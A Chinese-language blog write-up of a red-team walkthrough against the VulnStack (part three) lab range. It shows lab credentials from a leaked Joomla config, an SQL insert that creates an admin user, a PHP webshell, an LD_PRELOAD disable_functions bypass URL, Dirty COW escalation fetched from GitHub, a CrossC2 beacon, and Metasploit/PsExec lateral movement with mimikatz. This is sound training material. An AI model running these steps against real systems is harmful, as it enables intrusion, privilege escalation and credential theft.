VulnStack-红队实战(三)

前言

  靶场难度低,靶机下载。又是一次不完美的渗透。

网络拓扑图

  

信息搜集

  nmap扫描结果

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3306/tcp open  mysql

  访问网页,一看就是joomla cms搭建的
  
  msf使用auxiliary/scanner/http/joomla_version,版本为3.9.12,并未在网上找到可利用的exp
  
  joomla路径扫描工具JoomScan,安装apt install joomscan,使用joomscan -u http://192.168.31.138/
  存在配置文件:http://192.168.31.138/configuration.php~和后台http://192.168.31.138/administrator/
  
  访问配置文件,得到用户名:testuser,密码:cvcvgjASD!@
  
  前面开放了3306端口,使用Navicat可成功连接
  
  发现无法进行读取和写入文件,那就只能从后台下手,查看后台用户名和密码,发现密码是加密的
  
  来到joomla官网,发现一篇文章如何恢复或重置管理员密码,我直接编辑密码改为d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199。对应的明文密码为secret
  
  或者使用下面的payload,将添加一个用户名为:admin2,密码为secret的账户

INSERT INTO `am2zu_users`
   (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
    'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');

getshell

  进入后台后,点击Extensions->Templates->Templates
  
  来到模板文件后,点击Protostar Details and Files
  
  编辑index.php,写入一句话木马
  
  蚁剑成功连接
  

绕过disable_functions

  执行命令出现 ret=127,命令被拦截
  
  查看phpinfo中的disable_functions,禁用了很多函数,所以命令执行失败。下面开始绕过
  
  第一种,蚁剑插件市场安装绕过disable_functions插件
  选择模式一个一个尝试,点击开始后会出现一个新的终端,成功绕过
  
  
  第二种,下载bypass_disablefunc_via_LD_PRELOAD,将bypass_disablefunc.phpbypass_disablefunc_x64.so上传到站点根目录
  
  然后在当前目录下新建一个叫tempcmd的文件夹,该目录下再建个名叫temp的文件
  
  构造payload,成功执行

http://192.168.31.138/bypass_disablefunc.php?cmd=whoami&outpath=/var/www/html/tempcmd/temp&sopath=/var/www/html/bypass_disablefunc_x64.so

  
  查看ip地址,发现和最开始的192.168.31.138对不上。这里拿下的是Ubuntu主机
  

nginx反向代理

  而出现这种情况,其实是使用了nginx反向代理。

何为反向代理

  反向代理和正向代理的区别就是:正向代理代理客户端反向代理代理服务器

  反向代理,其实客户端对代理是无感知的,因为客户端不需要任何配置就可以访问,我们只需要将请求发送到反向代理服务器,由反向代理服务器去选择目标服务器获取数据后,在返回给客户端,此时反向代理服务器和目标服务器对外就是一个服务器,暴露的是代理服务器地址,隐藏了真实服务器IP地址。

反向代理的好处

  那么为什么要用到反向代理呢,原因有以下几点:

1、保护了真实的web服务器,web服务器对外不可见,外网只能看到反向代理服务器,而反向代理服务器上并没有真实数据,因此,保证了web服务器的资源安全

2、反向代理为基础产生了动静资源分离以及负载均衡的方式,减轻web服务器的负担,加速了对网站访问速度(动静资源分离和负载均衡会以后说)

3、节约了有限的IP地址资源,企业内所有的网站共享一个在internet中注册的IP地址,这些服务器分配私有地址,采用虚拟主机的方式对外提供服务

  解释清楚后,现在要拿到centos的shell。我看攻略是在/tmp/mysql/test.txt存放了centos的ssh的用户名和密码。用户名:wwwuser,密码:wwwuser_123Aqx。而我这里并没有,就直接跳过吧……
  

脏牛提权

  ssh登录后,这里使用脏牛进行提权

git clone git://github.com/FireFart/dirtycow.git
cd dirtycow/
gcc -pthread dirty.c -o dirty -lcrypt    //编译dirty.c
./dirty 123456    //创建一个高权限用户,密码为123456

  成功执行后,会自动生成一个用户名为firefart密码为123456的用户
  
  接下来上主机上线cs,使用CrossC2,安装方法见我博客。生成一个https的listener
  
  点击CrossC2->Create CrossC2 Listener->Create reverse HTTPS Listener,选择名为linux的Listener,直接点build。
  
  再点击CrossC2->Scripted Web Delivery(S),type选择wget
  
  点击Build后,会弹出一个框,将里面的代码复制粘贴到centos里面,运行上线cs
  
  
  接下来要内网主机探测了,介绍一款轻量级的跨平台扫描工具ServerScan,下载对应的版本,因为靶机是linux所以下载linux。上传到靶机后。
  运行shell ServerScan_Air_v1.0.2_linux_i386 192.168.93.0/24 1-1000 icmp,很快就探测出来了
  
  
  数据如下,存在域TEST,dc机为192.168.93.10

192.168.93.10 主机名:WIN-8GA56TNV3MV

53 (unknown - .version bind.)
135 (Microsoft Windows RPC - msrpc)
139 (unknown)
389 (DC=test,DC=org)
445 (Microsoft Windows 2003 or 2008 microsoft-ds - microsoft-ds - hostname: WIN-8GA56TNV3MV domain: TEST)
192.168.93.20 主机名:WIN2008 

80 (Microsoft-HTTPAPI/2.0 - Microsoft HTTPAPI httpd - 2.0 - Not Found Not Found HTTP Error...)
135 (Microsoft Windows RPC - msrpc)
139 (unknown)
445 (Microsoft Windows 2003 or 2008 microsoft-ds - microsoft-ds - hostname: WIN2008 domain: TEST)
1433 (Microsoft SQL Server 2008 - ms-sql-s - .%.@. - 10.00.1600; RTM)
192.168.93.30 主机名:WIN7

139 (unknown)
445 (Microsoft Windows 2003 or 2008 microsoft-ds - microsoft-ds - hostname: WIN7 domain: TEST)
135 (Microsoft Windows RPC - msrpc)

  192.168.93.20开放了80端口和1433,访问80
  
  使用前面mysql的账号能连接成功
  
  后来尝试ms17-010,一个都不能成功,其实下一步应该利用这个1433端口。使用smbrelayx攻击。而我这里搭建环境几个小时都无法成功,算了索性方向。这篇文章成功了复现。
  于是又去看攻略,他们使用smb爆破出用户名:Administrator 密码为:123qwe!ASD

横向移动

  msf设置好socks代理,psexec正向连接获取一个shell

msf6 exploit(windows/smb/psexec) > set smbpass 123qwe!ASD
msf6 exploit(windows/smb/psexec) > set payload windows/meterpreter/bind_tcp
msf6 exploit(windows/smb/psexec) > set smbuser Administrator
msf6 exploit(windows/smb/psexec) > set rhost 192.168.93.30
msf6 exploit(windows/smb/psexec) > run

  
  然而这里登录不上192.168.93.20,可以使用proxychains-windows,搭配psexec尝试。
   proxychains PsExec.exe \\192.168.93.20 -u administrator -p 123qwe!ASD -s cmd 可成功连接
  
  建立连接proxychains net use \\192.168.93.20\c$ "123qwe!ASD" /user:Administrator
  
  口头叙述一下,实在不想配图了,生成一个msf的正向连接木马。连接上线后,使用mimikatz抓到域管理员密码,懂了吧。直接登录过去收工。
  其实这靶机最有趣的地方就是smb中间人攻击,可惜这环境复现不起。

查看评论 -
评论